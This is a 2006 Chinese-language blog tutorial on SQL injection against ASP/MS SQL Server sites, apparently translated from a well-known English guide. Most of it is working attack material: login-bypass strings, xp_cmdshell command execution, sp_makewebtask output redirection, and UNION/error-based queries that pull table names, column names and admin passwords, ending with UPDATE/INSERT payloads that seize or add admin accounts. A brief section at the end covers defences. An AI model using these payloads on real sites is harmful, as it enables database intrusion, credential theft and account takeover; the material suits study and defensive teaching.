sql入侵

kgdiwss發表於2006-05-23


關鍵詞: sql入侵                                          

摘要:
下文是為了幫助那些希望能掌握這個漏洞的運用、並想得知如何保護自己免受這種漏洞攻擊的人瞭解該漏
洞的本質而寫的。


詳細資料:

1.0緒論
當一臺機器只開放了80埠(這裡指的是提供HTTP服務)時,可能你的大多數漏洞掃描器都不能給到你很多
有價值的資訊(漏洞資訊),倘若這臺機器的管理員是經常為他的伺服器打PATCH的話,我們只好把攻擊的
矛頭指向WEB服務攻擊了。SQL隱碼攻擊是WEB攻擊型別中的一種,這種攻擊沒有什麼特殊的要求,只需要
對方提供正常的HTTP服務,且不需要理會管理員是否是個“PATCH狂”。這類攻擊主要是針對某種WEB處理
程式(如ASP,JSP,PHP,CGI等等)的而進行。

這篇文章不是在為閣下介紹什麼新“玩意”,SQL隱碼攻擊以前就一直廣為流傳著。我之所以現在才寫這
篇文章是因為我想把我最近實驗所得的某些經驗與積累記錄下來,希望能給予讀者某些參考吧。你也可以
在“9.0我從哪裡可以得到更多相關資料?”的欄目中找到更多其他人所寫的、關於SQL隱碼攻擊技巧的相關資
料。

1.1什麼是SQL隱碼攻擊?
這種攻擊的要訣在於將SQL的查詢/行為命令通過‘嵌入’的方式放入合法的HTTP提交請求中從而達到攻擊
者的某種意圖。現在很多的動態網頁都會從該網頁使用者的請求中得到某些引數,然後動態的構成SQL請
求發給資料庫的。舉個例子,當有某個使用者需要通過網頁上的使用者登陸(使用者身份驗證)時,動態網頁會將
該使用者提交上來的使用者名稱與密碼加進SQL詢問請求發給資料庫,用於確認該使用者提交的身份驗證資訊是否
有效。在SQL隱碼攻擊的角度看來,這樣可以使我們在傳送SQL請求時通過修改使用者名稱與/或密碼值的‘領
域’區來達到攻擊的目的。

1.2SQL隱碼攻擊需要什麼(工具等)呢?
一個(些)網頁瀏覽器。

2.0什麼資訊是你所需要找尋的呢?
首先你需要找到允許提交資料的頁面,如:登陸頁面、搜尋頁面、反饋頁面、等等。有的時候,某些HTML
頁面會通過POST命令將所需要的引數傳遞給其他的ASP頁面。所以,有的時候你不會在URL路徑中看到相關
的引數。儘管如此,你仍可以通過檢視HTML的原始碼中的"FORM"標籤來辨別是否有引數傳遞,相關的程式碼
如下:
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>
在<FORM>與</FORM>的標籤對間的每一個引數傳遞都有可能可以被利用(利用在攻擊的情況下)著SQL隱碼攻擊。

2.1當你找不到有輸入行為的頁面時應該怎麼辦呢?
你可以找一些相關ASP、JSP、CGI或PHP這型別的頁面。嘗試找一些帶有某些引數的特殊URL,如:
http://duck/index.asp?id=10

3.0你應該如何測試這些缺陷是否存在呢?
首先先加入某些特殊的字元標記,輸入如:
hi' or 1=1--
尋找一些登陸頁面,在其登陸ID與密碼輸入處,或URL中輸入:
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--
如果想以‘隱藏’的方式進行此類測試,你可以把該HTML網頁從網站上下載至本地硬碟,修改其隱藏部分
的值,如:
<FORM action=http://duck/Search/search.asp method=post>
<input type=hidden name=A value="hi' or 1=1--">
</FORM>
如果閣下是幸運的話估計現在已經可以不需要帳號與密碼而‘成功登陸’了。

3.1為什麼使用的是' or 1=1--呢?
讓我們來看看其他例子中使用'or 1=1--的重要性吧。有別於正常的登陸方式,使用這樣的登陸方式可能
可以得到正常登陸中不能得到的某些特殊資訊。用一個連結中得到的ASP頁來打比方:
http://duck/index.asp?category=food
在上面這條URL中,'category'是一個變數名,而'food'是賦予該變數的值。為了做到這些(連結成功),
這個ASP必須包含以下相關的程式碼(下面也是我們為了演示這個實驗所寫的程式碼):
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
正如我們所看到的,變數值將會預先處理然後賦值於'v_cat',也就是說該SQL語句將會變為:
SELECT * FROM product WHERE PCategory='food'
這個請求將會返回通過WHERE條件比較後得到的結果,在這個例子中也就是'food'了。現在設想一下如果
我們把該URL改成這樣的話:
http://duck/index.asp?category=food' or 1=1--
現在我們的變數v_cat的值就等同於"food' or 1=1--"了,現在如果我們要重新代入那條SQL請求的話,
那條SQL請求將會是:
SELECT * FROM product WHERE PCategory='food' or 1=1--'
現在這個請求將會從product表中選取每一條資訊而並不會去理會PCategory是否等於'food'。至於結尾
部分的那兩條'--'(破折號)則用於‘告訴’MS SQL SERVER忽略結尾最後的那個'(單引號)。有的時候也
可以使用'#'(井號)來代替'--'(雙破折號)在這裡的用法。
無論如何,如果對方不是一臺SQL伺服器(這裡指的是MS SQL SERVER),或者你不能使用簡單的方法去忽
略最後的那個單引號的話,你可以嘗試:
' or 'a'='a
這樣的話整個SQL請求將會變為:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
它也會返回相同的結果。
根據實際情況,SQL隱碼攻擊請求是可以有多種動態變化的可能性的:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

4.0如何在SQL隱碼攻擊請求中加入即時執行命令?
能夠進行SQL隱碼攻擊的伺服器通常都是一些疏於做系統性配置檢查的機器,此時我們可以嘗試使用SQL的命
令執行請求。預設的MS SQL伺服器是執行在SYSTEM使用者級別下的,這等同於系統管理員的執行與訪問權
限。我們可以使用MS SQL SERVER的擴充套件儲存過程(如master..xp_cmdshell等)來執行遠端系統的某些命
令:
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
若失敗可以嘗試一下使用"(雙引號)代替'(單引號)。
上面例子中的第二個冒號代表一句SQL請求的結束(也代表了它後面緊跟著一條新SQL命令)。若要檢驗上
面這條PING命令是否成功,你可以在10.10.1.2這臺機器上監聽ICMP請求包,並確認它是否來自那臺SQL
伺服器就可以了:
#tcpdump icmp
如果你不能從那臺SQL伺服器中得到PING請求的話,並在SQL請求的返回值中得到錯誤資訊的話,有可能
是因為該SQL伺服器的管理員限制了WEB使用者訪問這些儲存過程了。

5.0如何可以獲取到我發的SQL請求的相關返回資訊呢?
我們可以使用sp_makewebtask處理過程的相關請求寫入URL:
'; EXEC master..sp_makewebtask "//10.10.1.3/share/output.html", "SELECT * FROM INFORMATION
_SCHEMA.TABLES"
但先決條件是目標主機的資料夾“share”屬性必須設定為“Everyone”。

6.0如何可以從資料庫返回的ODBC錯誤資訊得到某些重要的資料呢?
我們可以通過傳送精心構造的SQL請求迫使MS SQL SERVER從返回的資訊中透露出我們想得到的資訊(如表
名、列名等)。比方有這麼一個URL:
http://duck/index.asp?id=10
在上面的URL中我們可以嘗試使用UNION子句的方式在整數'10'之後加入其他請求字串進去的,如:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
上例中的系統表INFORMATION_SCHEMA.TABLES包括了這臺伺服器中所有表的資訊。至於TABLE_NAME區域就
包括了每一個表的名稱。我們之所以要選擇這樣寫是因為我們知道它是一定存在的。換言之我們的SQL詢
問請求就是:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
伺服器接到請求資料後必將返回資料庫的第一個表名。當我們使用UNION子句將請求字串加入整數10之
後時,MS SQL SERVER會嘗試轉換該字串為整數值。既然我們不能把字串(nvarchar)轉為整數型(int
)時,系統就會產生錯誤。伺服器會顯示如下錯誤資訊:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
table1' to a column of data type int.
/index.asp, line 5
非常好,這條錯誤資訊告訴了我們轉換出現錯誤的所有相關資訊(包括我們想知道的表名)。在這個例項
中,我們知道了第一個表名是“table1”。若要得到下一個表名,我們可以傳送這樣的請求:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH
ERE TABLE_NAME NOT IN ('table1')--
我們也可以通過LIKE來找尋相關的特殊字:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH
ERE TABLE_NAME LIKE '%25login%25'--
輸出得到:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
admin_login' to a column of data type int.
/index.asp, line 5

6.1如何找出表中的列名?
我們可以利用另一個比較重要的表INFORMATION_SCHEMA.COLUMNS來羅列出一個表的所有列名:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='admin_login'--
輸出顯示為:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
login_id' to a column of data type int.
/index.asp, line 5
現在已經得到第一個列的名稱了,我們還可以用NOT IN ()得到下一個列名:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
輸出得到:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
login_name' to a column of data type int.
/index.asp, line 5
若繼續重複這樣的操作,我們將可以獲得餘下所有的列名,如"password"、"details"。當我們使用了下
面的請求後就可以得到(除了'login_id','login_name','password',details'之外的列名):
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password'
,details')--
輸出後得到:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select lis
t if the statement contains a UNION operator.
/index.asp, line 5

6.2如何找到我們需要的資料?
現在我們需要鑑別出一些比較重要的表與列,我們可以用相同的技巧詢問資料庫從而得到相關的資訊。
現在讓我們問問"admin_login"表的第一個使用者名稱是什麼吧:
http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
輸出:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
neo' to a column of data type int.
/index.asp, line 5
知道了一個管理員帳號是"neo"。最後,問問這個管理員帳號的密碼是什麼吧:
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='
neo'--
輸出:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
m4trix' to a column of data type int.
/index.asp, line 5
現在我們可以用"neo"與他的密碼("m4trix")來登陸系統了。

6.3如何獲得數字串值?
在這裡技術上表達的一種侷限性。若要將數字(0-9之間的數字)轉換為正常的文字資料的話,我們將無法
得到我們所需要的錯誤提示資訊。舉個例子,我們現在要嘗試得到帳號為"trinity"的密碼,而它所對應
的密碼為"31173":
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='
trinity'--
這樣我們大概只能得到“Page Not Found”這樣的錯誤提示。這其中的主要問題在於,在與整數(這個例
子中為10)進行了合集(使用了UNION子句)以後這個密碼"31173"將會被系統轉換為數值。這樣的話這個UN
ION字句呼叫就是‘合法’的了,SQL伺服器將不會返回任何ODBC錯誤資訊,因而我們是不可能得到這些
數字型資料的。
為了解決這個問題,我們可以為這些資料字串加入一些字母表來確定轉化過程是錯誤的。讓我們試試
用下面的這條請求來代替原來的請求吧:
http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM
admin_login where login_name='trinity'--
在這裡我們只不過是加入了一個(+)加號與其它我們想加入的字元進去而已(在ASCII中'+'等於0x2b)。我
們加入了一個(%20)空格與morpheus(隨便一個字串)進入實際的密碼資料中。這樣的話,即使我們得到
了數字串'31173',它也會變成'31173 morpheus'。
在執行了convert()函式後,系統會嘗試將'31173 morpheus'轉換為整數型,SQL伺服器一定會返回這樣
的ODBC錯誤資訊:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
31173 morpheus' to a column of data type int.
/index.asp, line 5
現在你可以知道'trinity'的密碼是'31173'了吧。

7.0如何在資料庫中更新/插入資料?
當成功地收集到表中所有的列後,我們就可以在表中UPDATE(升級/修改)原有的資料或者INSERT(加入)新
的資料。打個比方,我們要修改帳號"neo"的密碼:
http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_na
me='neo'--
加入一條新的記錄:
http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password
', 'details') VALUES (666,'neo2','newpas5','NA')--
現在我們就可以以帳號"neo2"、密碼"newpas5"登陸系統了。

8.0如何避免被SQL隱碼攻擊?
過濾一些特殊像單引號、雙引號、斜槓、反斜槓、冒號、空字元等的字元,過濾的物件包括:
-使用者的輸入
-提交的URL請求中的引數部分
-從cookie中得到的資料
至於數字值,將其轉換為整數型之前必須有SQL語句宣告,或者用ISNUMERIC確定它為一個整型數。
修改“Startup and run SQL Server”的使用者執行級別為低階別。
刪除一系列你不需要的儲存過程,如:
master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

9.0我從哪裡可以得到更多相關資料?
我們最初接觸到SQL隱碼攻擊是在Rain Forest Puppy有關他入侵PacketStorm的文章中提到的。
http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6
一篇收集了ODBC錯誤資訊的好文章:
http://www.blackhat.com/presentations/win-...1Litchfield.doc
關於在SQL SERVER中進行SQL隱碼攻擊的好文章:
http://www.owasp.org/asac/input_validation/sql.shtml
Senseport網站所著的關於SQL隱碼攻擊的文章:
http://www.sensepost.com/misc/SQLinsertion.htm
其他相關文件:
http://www.digitaloffense.net/wargames01/IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
http://www.spidynamics.com/whitepapers/Whi...QLInjection.pdf

 

相關文章